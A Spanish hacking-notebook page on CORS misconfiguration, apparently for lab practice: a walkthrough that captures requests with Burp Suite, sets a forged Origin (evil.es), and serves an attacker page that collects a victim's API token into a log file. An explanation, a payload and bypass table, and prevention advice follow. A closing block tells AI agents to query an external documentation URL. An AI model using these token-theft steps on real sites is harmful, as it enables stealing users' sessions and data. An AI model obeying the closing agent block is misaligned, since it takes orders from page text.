# CORS (Cross-Origin Resource Sharing) ## Practica de explotación `CORS` Imaginemos que tenemos esta pagina de aqui: > dashboard.php ```php Dashboard
Bienvenido. Obtenga la respuesta HTTP de esta página web mediante una solicitud CORS. ¡Listo! Lección aprendida: nunca confíe en un "Origin:" arbitrario.

Your API Token:

Your Username:

Your IP Address:

This token is also sent in the request headers as TOKEN.



``` Veremos que esta parte de aqui es la vulnerable a `CORS`: ```php // Configurar encabezados CORS if (isset($_SERVER['HTTP_ORIGIN'])) { // Permitir el origen dinámicamente, dependiendo de la solicitud header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); header('Access-Control-Allow-Credentials: true'); // Especificar los encabezados que serán expuestos para CORS header('Access-Control-Expose-Headers: TOKEN, Access-Control-Allow-Origin, User-Name, Client-IP'); } ``` Si entramos dentro de la pagina, veremos un login, las credenciales por defecto seran las siguiente: ``` User: user/admin Pass: user/admin ``` Una vez que estemos dentro veremos algo asi:
Por lo que estamos viendo nos muestra la informacion del usuario, junto con su `TOKEN`, etc... Vamos a capturar la peticion con `BuprSuite` recargando la pagina y dentro de la misma añadiremos en la cabecera despues del parametro `Connect` lo siguiente: ``` Origin: http://evil.es ``` Nos quedara algo asi: ``` GET /dashboard.php HTTP/1.1 Host: 172.17.0.2 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://172.17.0.2/ Connection: keep-alive Origin: http://evil.es Cookie: PHPSESSID=ist11l3vcbit5rqtqdnm68gqk8 Upgrade-Insecure-Requests: 1 Priority: u=0, i ``` Antes de enviarlo activaremos en `BurpSuite` el que obtengamos las respuestas del servidor:
Una vez activado vamos a enviarlo y veremos en la respuesta lo siguiente: ``` HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 17:11:39 GMT Server: Apache/2.4.58 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache d1se0-Powered-By: White beard Pirates 8-) Access-Control-Allow-Origin: http://evil.es Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: TOKEN, Access-Control-Allow-Origin, User-Name, Client-IP TOKEN: admin_token User-Name: admin Client-IP: 172.17.0.1 Vary: Accept-Encoding Content-Length: 1853 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 ``` Vemos que nos esta habilitando la conexion de forma insegura con nuestro servidor de la maquina atacante, por lo que vamos a crear un `exploit` y subirlo a nuestro `apache2` del atacante, para habilitar una pagina maliciosa. ``` Access-Control-Allow-Origin: http://evil.es Access-Control-Allow-Credentials: true ``` > cors.html ```html CORS Explotation
Explotacion de CORS! By d1se0.

Your API Token: No token

Verifica tu palabra

``` (Cambiamos la parte de `` por la `IP` de la maquina victima donde esta la vulnerabilidad) Tambien tendremos que crear lo que va a procesar la solicitud y volcarlo en un `.txt` para que lo podamos ver: > steal.php ```php ``` Tambien crearemos un archivo llamado `stolen_tokens.txt` que este en el mismo directorio. > OPCIONAL Si queremos borrar el contenido del archivo `stolen_tokens.txt` para realizar de forma sucesiva el ataque, podremos crear lo siguiente: > clear.php ```php $output"; } else { echo "El script se ejecutó correctamente pero no devolvió salida."; } } ?> ``` Y en el mismo directorio tendra que ir el siguiente archivo: > clear.sh ```bash #!/bin/bash echo "" > stolen_tokens.txt echo "Texto limpiado!" ``` Todo este contenido del `exploit` tiene que estar en nuestro `/var/www/html` e iniciaremos el servicio de `apache2`: ```shell service apache2 start ``` Ahora tendremos que acceder a nuestro `cors.html` desde la web: ``` URL = http:///cors.html ``` Ahora estando a la escucha con `BurpSuite` tendremos que darle al boton `Obtener Datos`. `BurpSuite` capturara la peticion y cambiaremos la parte de `Cookie: PHPSESSID=` quedando algo asi: ``` GET /dashboard.php HTTP/1.1 Host: 172.17.0.2 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://192.168.60.131 Connection: keep-alive Referer: http://192.168.60.131/ Cookie: PHPSESSID=ist11l3vcbit5rqtqdnm68gqk8 Priority: u=0 ``` Y si le damos al boton directamente de `Intercep on` veremos en la consola que salio todo perfecto:
Y si vamos al archivo donde se guarda todo, veremos que funciono: ``` Token: admin_token Username: admin IP Address: 172.17.0.1 ---------------------- ``` Ahora si probamos a meter donde la pagina de `cors.html` en `TOKEN` del usuario `admin` en este campo:
Veremos que es el correcto, por lo que habremos aprovechado de forma corercta la obtencion de informacion como el `TOKEN` del usuario, aprovechando la vulnerabilidad `CORS` y haciendo que el servidor confie en el `origen` de nuestro servidor. ## Explicación detallada de `CORS` ### Vulnerabilidad CORS en Hacking Web ### ¿Qué es CORS? `CORS (Cross-Origin Resource Sharing)` es un mecanismo de seguridad implementado en los navegadores web que restringe las solicitudes HTTP de origen cruzado. Esto significa que una página web en un dominio (ejemplo.com) no puede hacer solicitudes AJAX a otro dominio diferente (api.otrodominio.com), a menos que el servidor de destino lo permita explícitamente mediante cabeceras HTTP. El objetivo principal de CORS es prevenir ataques como el [Cross-Site Request Forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) (CSRF) y otros ataques de origen cruzado. ### ¿Cómo funciona CORS? Cuando una aplicación web hace una petición a un dominio diferente, el navegador agrega la cabecera `Origin` en la solicitud. El servidor debe responder con la cabecera `Access-Control-Allow-Origin` para indicar si permite o no la petición desde ese origen. Ejemplo de una solicitud CORS: ```http GET /datos HTTP/1.1 Host: api.otrodominio.com Origin: https://ejemplo.com ``` Si el servidor permite la petición, responderá con: ```http HTTP/1.1 200 OK Access-Control-Allow-Origin: https://ejemplo.com ``` Si no está permitido, el navegador bloqueará la respuesta. ### ¿Cómo se explota CORS en hacking web? Una mala configuración de CORS puede permitir a un atacante robar datos sensibles de un usuario autenticado en una aplicación web. Algunas configuraciones peligrosas incluyen: ### Permitir cualquier origen (`*`) Si el servidor responde con: ```http Access-Control-Allow-Origin: * ``` Entonces cualquier sitio puede hacer solicitudes al servidor y acceder a la respuesta. ### Reflejar el valor del `Origin` Algunos servidores devuelven el valor de la cabecera `Origin` en `Access-Control-Allow-Origin` sin validación: ```http Access-Control-Allow-Origin: https://malicioso.com ``` Esto permite a un atacante alojar un sitio malicioso y robar datos de los usuarios autenticados en el dominio víctima. ### Permitir credenciales con configuraciones inseguras Si el servidor permite credenciales (`cookies, tokens, etc.`) con `Access-Control-Allow-Credentials: true` y combina esto con `Access-Control-Allow-Origin: *`, entonces un atacante puede robar sesiones de usuarios. ```http Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true ``` Esta combinación es extremadamente peligrosa. ### Payloads y Bypasses para Explotación de CORS | Escenario | Payload/Bypass | | ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------- | | Prueba básica de CORS | `fetch('https://victima.com/endpoint', {credentials: 'include'}).then(res => res.text()).then(data => console.log(data))` | | Comprobar si el servidor refleja `Origin` | `Origin: https://attacker.com` | | Bypass cuando `Access-Control-Allow-Origin` usa `null` | `sandboxed iframe` o `data://` scheme | | Usar subdominios para explotar regex débil | `https://sub.attacker.com` si el servidor permite `*.attacker.com` | | Engañar validaciones débiles de dominio | `https://trusted.com.attacker.com` si el servidor usa `endsWith()` en validación | ### ¿Cómo prevenir ataques CORS? * No usar `Access-Control-Allow-Origin: *` en servicios con información sensible. * No reflejar el valor de `Origin` sin validarlo correctamente. * Evitar `Access-Control-Allow-Credentials: true` a menos que sea estrictamente necesario. * Usar una lista blanca de orígenes permitidos en el servidor. ### Conclusión La vulnerabilidad CORS ocurre cuando la configuración del servidor permite orígenes no confiables acceder a datos sensibles. Es una de las fallas más comunes en aplicaciones web y puede tener consecuencias graves si se combina con el robo de credenciales o datos de usuarios autenticados. Configurar CORS correctamente es fundamental para la seguridad web. --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://dise0.gitbook.io/h4cker_b00k/herramientas-tecnicas/hackingweb/cors-cross-origin-resource-sharing.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.